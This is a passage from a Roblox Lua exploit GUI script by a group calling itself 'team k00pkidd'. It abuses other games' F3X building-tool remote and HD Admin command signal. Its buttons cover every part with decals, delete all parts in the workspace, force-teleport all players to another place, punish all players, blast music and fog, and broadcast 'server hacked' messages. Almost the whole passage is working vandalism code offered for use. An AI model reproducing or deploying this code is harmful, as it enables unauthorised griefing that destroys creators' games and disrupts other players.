[2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function spam(id) for i,v in game.workspace:GetDescendants() do if v:IsA("BasePart") then spawn(function() SetLocked(v,false) SpawnDecal(v,Enum.NormalId.Front) AddDecal(v,id,Enum.NormalId.Front) SpawnDecal(v,Enum.NormalId.Back) AddDecal(v,id,Enum.NormalId.Back) SpawnDecal(v,Enum.NormalId.Right) AddDecal(v,id,Enum.NormalId.Right) SpawnDecal(v,Enum.NormalId.Left) AddDecal(v,id,Enum.NormalId.Left) SpawnDecal(v,Enum.NormalId.Bottom) AddDecal(v,id,Enum.NormalId.Bottom) SpawnDecal(v,Enum.NormalId.Top) AddDecal(v,id,Enum.NormalId.Top) end) end end end spam("9422866248") end) gametp.Name = "gametp" gametp.Parent = TextLabel_4 gametp.BackgroundColor3 = Color3.fromRGB(0, 0, 0) gametp.BorderColor3 = Color3.fromRGB(0, 53, 11) gametp.Position = UDim2.new(-0.0117647061, -39, -16.0714283, 0) gametp.Size = UDim2.new(0, 204, 0, 39) gametp.Font = Enum.Font.SourceSans gametp.Text = "Game TP [Only WORKS IF OWNER ADMIN]" gametp.TextColor3 = Color3.fromRGB(255, 255, 255) gametp.TextScaled = true gametp.TextSize = 14.000 gametp.TextWrapped = true gametp.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";globalforceplace 16346930062") end) disco.Name = "disco" disco.Parent = TextLabel_4 disco.BackgroundColor3 = Color3.fromRGB(0, 0, 0) disco.BorderColor3 = Color3.fromRGB(0, 53, 11) disco.Position = UDim2.new(0.394117653, 0, -43, 0) disco.Size = UDim2.new(0, 99, 0, 39) disco.Font = Enum.Font.SourceSans disco.Text = "disco" disco.TextColor3 = Color3.fromRGB(255, 255, 255) disco.TextScaled = true disco.TextSize = 14.000 disco.TextWrapped = true disco.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";disco") RequestCommand:InvokeServer(";fog 7000 7000") end) ball.Name = "ball" ball.Parent = TextLabel_4 ball.BackgroundColor3 = Color3.fromRGB(0, 0, 0) ball.BorderColor3 = Color3.fromRGB(0, 53, 11) ball.Position = UDim2.new(0.393647134, 0, -19.514286, 0) ball.Size = UDim2.new(0, 99, 0, 39) ball.Font = Enum.Font.SourceSans ball.Text = "Part Rain [Taken from LNicky]" ball.TextColor3 = Color3.fromRGB(255, 255, 255) ball.TextScaled = true ball.TextSize = 14.000 ball.TextWrapped = true ball.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character or player.CharacterAdded:Wait() local tool for i, v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i, v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end local remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part, boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean, part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = workspace } _(args) end function Resize(part, size, cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part, meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://" .. meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://" .. texid } } } _(args) end function MeshResize(part, size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function Sky(id) local hrp = char:WaitForChild("HumanoidRootPart") local cf = hrp.CFrame CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0))) for _, v in workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then SetAnchor(true, v) AddMesh(v) SetMesh(v, "14832966960") SetTexture(v, id) MeshResize(v, Vector3.new(0, 0, 0)) end end end local function createRainToads() while true do wait(0.01) -- Here they change the appearance time of the Toads or other meshes if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then local hrpcf = player.Character.HumanoidRootPart.CFrame local x = hrpcf.x local z = hrpcf.z local randint = math.random(-400, 400) local randint2 = math.random(-400, 400) local xloc = randint + x local zloc = randint2 + z local cf = player.Character.HumanoidRootPart.CFrame.y + 400 spawn(function() local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc))) for i, v in game.Workspace:GetDescendants() do if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then SetName(v, "Part") -- Here the name of the toad changes SetAnchor(false, v) SetCollision(v, true) v.Orientation = Vector3.new(0, 0, 0) v.CFrame = v.CFrame + Vector3.new(0, 0, 0) local sound = Instance.new("Sound", v) sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear sound.Volume = 0 sound.PlayOnRemove = true sound:Destroy() end end end) else wait(1) end end end coroutine.wrap(createRainToads)() Sky("0") end) spin.Name = "spin" spin.Parent = TextLabel_4 spin.BackgroundColor3 = Color3.fromRGB(0, 0, 0) spin.BorderColor3 = Color3.fromRGB(0, 53, 11) spin.Position = UDim2.new(-0.86517638, 0, -17.9285717, 26) spin.Size = UDim2.new(0, 99, 0, 39) spin.Font = Enum.Font.SourceSans spin.Text = "Spin all" spin.TextColor3 = Color3.fromRGB(255, 255, 255) spin.TextScaled = true spin.TextSize = 14.000 spin.TextWrapped = true spin.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";Spin all") end) music.Name = "music" music.Parent = TextLabel_4 music.BackgroundColor3 = Color3.fromRGB(0, 0, 0) music.BorderColor3 = Color3.fromRGB(0, 53, 11) music.Position = UDim2.new(-0.870235324, 0, -22.6428566, 250) music.Size = UDim2.new(0, 99, 0, 39) music.Font = Enum.Font.SourceSans music.Text = "Crab Rave (funni)" music.TextColor3 = Color3.fromRGB(255, 255, 255) music.TextScaled = true music.TextSize = 14.000 music.TextWrapped = true music.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 5410086218") end) musicbypas.Name = "music bypas" musicbypas.Parent = TextLabel_4 musicbypas.BackgroundColor3 = Color3.fromRGB(0, 0, 0) musicbypas.BorderColor3 = Color3.fromRGB(0, 53, 11) musicbypas.Position = UDim2.new(-0.229588404, 0, -22.6428566, 250) musicbypas.Size = UDim2.new(0, 99, 0, 39) musicbypas.Font = Enum.Font.SourceSans musicbypas.Text = "short phonk" musicbypas.TextColor3 = Color3.fromRGB(255, 255, 255) musicbypas.TextScaled = true musicbypas.TextSize = 14.000 musicbypas.TextWrapped = true musicbypas.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 5356466111") end) TextLabel_5.Parent = TextLabel_4 TextLabel_5.BackgroundColor3 = Color3.fromRGB(255, 255, 255) TextLabel_5.BackgroundTransparency = 1.000 TextLabel_5.BorderColor3 = Color3.fromRGB(27, 42, 53) TextLabel_5.Position = UDim2.new(-0.974705935, 0, 29.6428566, 0) TextLabel_5.Size = UDim2.new(0, 85, 0, 27) TextLabel_5.Font = Enum.Font.Arial TextLabel_5.Text = "by butterloaf & k00pkiddalt" TextLabel_5.TextColor3 = Color3.fromRGB(255, 255, 255) TextLabel_5.TextSize = 10.000 TextLabel_5.TextWrapped = true musicbypas3.Name = "music bypas 3" musicbypas3.Parent = TextLabel_4 musicbypas3.BackgroundColor3 = Color3.fromRGB(0, 0, 0) musicbypas3.BorderColor3 = Color3.fromRGB(0, 53, 11) musicbypas3.Position = UDim2.new(-0.870117545, 0, -22.7857151, 300) musicbypas3.Size = UDim2.new(0, 99, 0, 39) musicbypas3.Font = Enum.Font.SourceSans musicbypas3.Text = "you are now entering the world of k00pkidd" musicbypas3.TextColor3 = Color3.fromRGB(255, 255, 255) musicbypas3.TextScaled = true musicbypas3.TextSize = 14.000 musicbypas3.TextWrapped = true musicbypas3.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 8894394467") end) musicbypas4.Name = "music bypas 4" musicbypas4.Parent = TextLabel_4 musicbypas4.Active = false musicbypas4.BackgroundColor3 = Color3.fromRGB(0, 0, 0) musicbypas4.BorderColor3 = Color3.fromRGB(0, 53, 11) musicbypas4.Position = UDim2.new(-0.25311783, 0, -22.7857151, 300) musicbypas4.Size = UDim2.new(0, 99, 0, 39) musicbypas4.Font = Enum.Font.SourceSans musicbypas4.Text = "DELETED" musicbypas4.TextColor3 = Color3.fromRGB(255, 255, 255) musicbypas4.TextScaled = true musicbypas4.TextSize = 14.000 musicbypas4.TextWrapped = true musicbypas5.Name = "music bypas 5" musicbypas5.Parent = TextLabel_4 musicbypas5.Active = false musicbypas5.BackgroundColor3 = Color3.fromRGB(0, 0, 0) musicbypas5.BorderColor3 = Color3.fromRGB(0, 53, 11) musicbypas5.Position = UDim2.new(0.38188225, 0, -22.7857151, 300) musicbypas5.Size = UDim2.new(0, 105, 0, 39) musicbypas5.Font = Enum.Font.SourceSans musicbypas5.Text = "jazz song" musicbypas5.TextColor3 = Color3.fromRGB(255, 255, 255) musicbypas5.TextScaled = true musicbypas5.TextSize = 14.000 musicbypas5.TextWrapped = true musicbypas5.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";music 1837066593") end) message.Name = "message" message.Parent = TextLabel_4 message.BackgroundColor3 = Color3.fromRGB(0, 0, 0) message.BorderColor3 = Color3.fromRGB(0, 53, 11) message.Position = UDim2.new(0.394117653, 0, -32.7142868, 0) message.Size = UDim2.new(0, 98, 0, 39) message.Font = Enum.Font.SourceSans message.Text = "Message" message.TextColor3 = Color3.fromRGB(255, 255, 255) message.TextScaled = true message.TextSize = 14.000 message.TextWrapped = true message.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";serverMessage Team k00pkidd has haxed this game!!!") end) stop.Name = "stop" stop.Parent = TextLabel_4 stop.BackgroundColor3 = Color3.fromRGB(0, 0, 0) stop.BorderColor3 = Color3.fromRGB(0, 53, 11) stop.Position = UDim2.new(-0.869117618, 0, -9.28571415, 0) stop.Size = UDim2.new(0, 79, 0, 29) stop.Font = Enum.Font.SourceSans stop.Text = "Stop Songs" stop.TextColor3 = Color3.fromRGB(255, 255, 255) stop.TextScaled = true stop.TextSize = 14.000 stop.TextWrapped = true stop.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";Music") end) k00pk00p.Name = "k00pk00p" k00pk00p.Parent = TextLabel_4 k00pk00p.BackgroundColor3 = Color3.fromRGB(0, 0, 0) k00pk00p.BorderColor3 = Color3.fromRGB(0, 53, 11) k00pk00p.Position = UDim2.new(-0.864705801, 0, -22.9285736, 0) k00pk00p.Size = UDim2.new(0, 99, 0, 39) k00pk00p.Font = Enum.Font.SourceSans k00pk00p.Text = "dummy" k00pk00p.TextColor3 = Color3.fromRGB(255, 255, 255) k00pk00p.TextScaled = true k00pk00p.TextSize = 14.000 k00pk00p.TextWrapped = true k00pk00p.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";Clone") end) musicbypas6.Name = "music bypas 6" musicbypas6.Parent = TextLabel_4 musicbypas6.Active = false musicbypas6.BackgroundColor3 = Color3.fromRGB(0, 0, 0) musicbypas6.BorderColor3 = Color3.fromRGB(0, 53, 11) musicbypas6.Position = UDim2.new(-0.241176203, 0, -36.1428566, 0) musicbypas6.Size = UDim2.new(0, 97, 0, 39) musicbypas6.Font = Enum.Font.SourceSans musicbypas6.Text = "Brooklyn Blood Pop Song (MAYBE DELETED)" musicbypas6.TextColor3 = Color3.fromRGB(255, 255, 255) musicbypas6.TextScaled = true musicbypas6.TextSize = 14.000 musicbypas6.TextWrapped = true kaax.Name = "kaax" kaax.Parent = TextLabel_4 kaax.BackgroundColor3 = Color3.fromRGB(0, 0, 0) kaax.BorderColor3 = Color3.fromRGB(0, 53, 11) kaax.Position = UDim2.new(-0.241176024, 0, -39.5714302, 0) kaax.Size = UDim2.new(0, 98, 0, 39) kaax.Font = Enum.Font.SourceSans kaax.Text = "Kaax Script" kaax.TextColor3 = Color3.fromRGB(255, 255, 255) kaax.TextScaled = true kaax.TextSize = 14.000 kaax.TextWrapped = true kaax.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"111891702759441") SetTexture(v,id) --end) MeshResize(v,Vector3.new(7000, 7000, 7000)) SetLocked(v,true) end end end Sky("12330950245") local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";sm Game Haxxored By KaaXSploits! [Remake by kOOpkidd]") end) gravityhammer.Name = "gravity hammer" gravityhammer.Parent = TextLabel_4 gravityhammer.BackgroundColor3 = Color3.fromRGB(0, 0, 0) gravityhammer.BorderColor3 = Color3.fromRGB(0, 53, 11) gravityhammer.Position = UDim2.new(0.382353127, 0, -29.3571453, 0) gravityhammer.Size = UDim2.new(0, 99, 0, 39) gravityhammer.Font = Enum.Font.SourceSans gravityhammer.Text = "Gravity Hammer" gravityhammer.TextColor3 = Color3.fromRGB(255, 255, 255) gravityhammer.TextScaled = true gravityhammer.TextSize = 14.000 gravityhammer.TextWrapped = true gravityhammer.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";gear me 33866846") end) Destroy.Name = "Destroy." Destroy.Parent = TextLabel_4 Destroy.BackgroundColor3 = Color3.fromRGB(0, 0, 0) Destroy.BorderColor3 = Color3.fromRGB(0, 53, 11) Destroy.Position = UDim2.new(-0.864705622, 0, -26, 0) Destroy.Size = UDim2.new(0, 310, 0, 35) Destroy.Font = Enum.Font.SourceSans Destroy.Text = "Destroy. [ONLY FOR EMERGENCY]" Destroy.TextColor3 = Color3.fromRGB(255, 255, 255) Destroy.TextScaled = true Destroy.TextSize = 14.000 Destroy.TextWrapped = true Destroy.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";btools me") wait(0.4) RequestCommand:InvokeServer(";punish all") wait(0.1) local player = game.Players.LocalPlayer local char = player.Character local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then warn("you dont have f3x skid") end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local function delete(part) local args = { [1] = "Remove", [2] = { [1] = part } } serverendpoint:InvokeServer(unpack(args)) end local function deleteall() for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() delete(v) end) end end end deleteall() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";fogcolor black ;time") local player = game.Players.LocalPlayer local char = player.Character local backpack = player.Backpack local function getf3x() for _, v in ipairs(backpack:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end for _, v in ipairs(char:GetChildren()) do if v:FindFirstChild("SyncAPI") then return v end end return nil end local f3x = getf3x() if not f3x then warn("you dont have f3x skid") end local syncapi = f3x.SyncAPI local serverendpoint = syncapi.ServerEndpoint local function resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmaterial(part,mate,trans) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Material"] = mate } } } serverendpoint:InvokeServer(unpack(args)) end local function transparency(part,trans) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = trans } } } serverendpoint:InvokeServer(unpack(args)) end local function color(part, color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmeshid(part, id) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..id } } } serverendpoint:InvokeServer(unpack(args)) end local function makemesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmeshsize(part, vectora) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = vectora } } } serverendpoint:InvokeServer(unpack(args)) end local function syncmeshtexture(part, id) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..id } } } serverendpoint:InvokeServer(unpack(args)) end local function name(part, stringa) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringa } serverendpoint:InvokeServer(unpack(args)) end local function lock(part, boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } serverendpoint:InvokeServer(unpack(args)) end local function setcollision(part, booleana) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = booleana } } } serverendpoint:InvokeServer(unpack(args)) end local function setanchor(part, boolean) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } serverendpoint:InvokeServer(unpack(args)) end local function createdecal(part, side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } serverendpoint:InvokeServer(unpack(args)) end local function setdecal(part, asset, side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } serverendpoint:InvokeServer(unpack(args)) end local function makerealmbase() local position = CFrame.new(0, 5, 0) local base = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace) resize(base, Vector3.new(512, 16, 512), position) syncmaterial(base, Enum.Material.Concrete) color(base, Color3.new(0.513725, 0.513725, 0.513725)) name(base, "loltroll") lock(base, true) local spawnpos = CFrame.new(34.5, 8.1, -26) local spawna = serverendpoint:InvokeServer("CreatePart", "Spawn", spawnpos, workspace) resize(spawna, Vector3.new(20, 10, 20), spawnpos) name(spawna, "SpawnLocation") lock(spawna, true) createdecal(spawna, Enum.NormalId.Top) setdecal(spawna, "12165709661", Enum.NormalId.Top) transparency(spawna, 1) local pos = CFrame.new(74.143, 24, -25.232) local rules = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace) transparency(rules, 0) setcollision(rules, false) createdecal(rules, Enum.NormalId.Left) setdecal(rules, "103516240291943", Enum.NormalId.Left) color(rules, Color3.new(1, 1, 1)) resize(rules, Vector3.new(4, 23, 37), pos) local pos = CFrame.new(1.143, 24, -25.232) local bad = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace) transparency(bad, 1) setcollision(bad, false) createdecal(bad, Enum.NormalId.Right) setdecal(bad, "12165709661", Enum.NormalId.Right) resize(bad, Vector3.new(4, 23, 37), pos) end local function sky() local position = CFrame.new(0, 5, 0) local sky = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace) makemesh(sky) syncmeshid(sky, "111891702759441") syncmeshtexture(sky, "9820931824") syncmeshsize(sky, Vector3.new(20000, 20000, 20000)) lock(sky, true) name(sky, "kn000pezzzzz") setcollision(sky, false) end local function unanchorall() for _, v in ipairs(workspace:GetDescendants()) do if v:IsA("BasePart") or v:IsA("UnionOperation") then spawn(function() setanchor(v, false) end) end end end local function realm() sky() makerealmbase() end realm() RequestCommand:InvokeServer(";res all") wait(0.3) RequestCommand:InvokeServer(";r6 all") RequestCommand:InvokeServer(";time 12") wait(8.9) RequestCommand:InvokeServer(";music 1839246711 ;volume inf ;pitch 1.04") end) hint.Name = "hint" hint.Parent = TextLabel_4 hint.BackgroundColor3 = Color3.fromRGB(0, 0, 0) hint.BorderColor3 = Color3.fromRGB(0, 53, 11) hint.Position = UDim2.new(0.394117713, 0, -46.5, 0) hint.Size = UDim2.new(0, 99, 0, 39) hint.Font = Enum.Font.SourceSans hint.Text = "Hint" hint.TextColor3 = Color3.fromRGB(255, 255, 255) hint.TextScaled = true hint.TextSize = 14.000 hint.TextWrapped = true hint.MouseButton1Click:Connect(function() local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent RequestCommand:InvokeServer(";serverhint server hacked by team k00pkidd") end) thomas.Name = "thomas" thomas.Parent = TextLabel_4 thomas.BackgroundColor3 = Color3.fromRGB(0, 0, 0) thomas.BorderColor3 = Color3.fromRGB(0, 53, 11) thomas.Position = UDim2.new(-0.241176412, 0, -29.3571453, 0) thomas.Size = UDim2.new(0, 99, 0, 39) thomas.Font = Enum.Font.SourceSans thomas.Text = "become thomas [R6 only]" thomas.TextColor3 = Color3.fromRGB(255, 255, 255) thomas.TextScaled = true thomas.TextSize = 14.000 thomas.TextWrapped = true thomas.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", 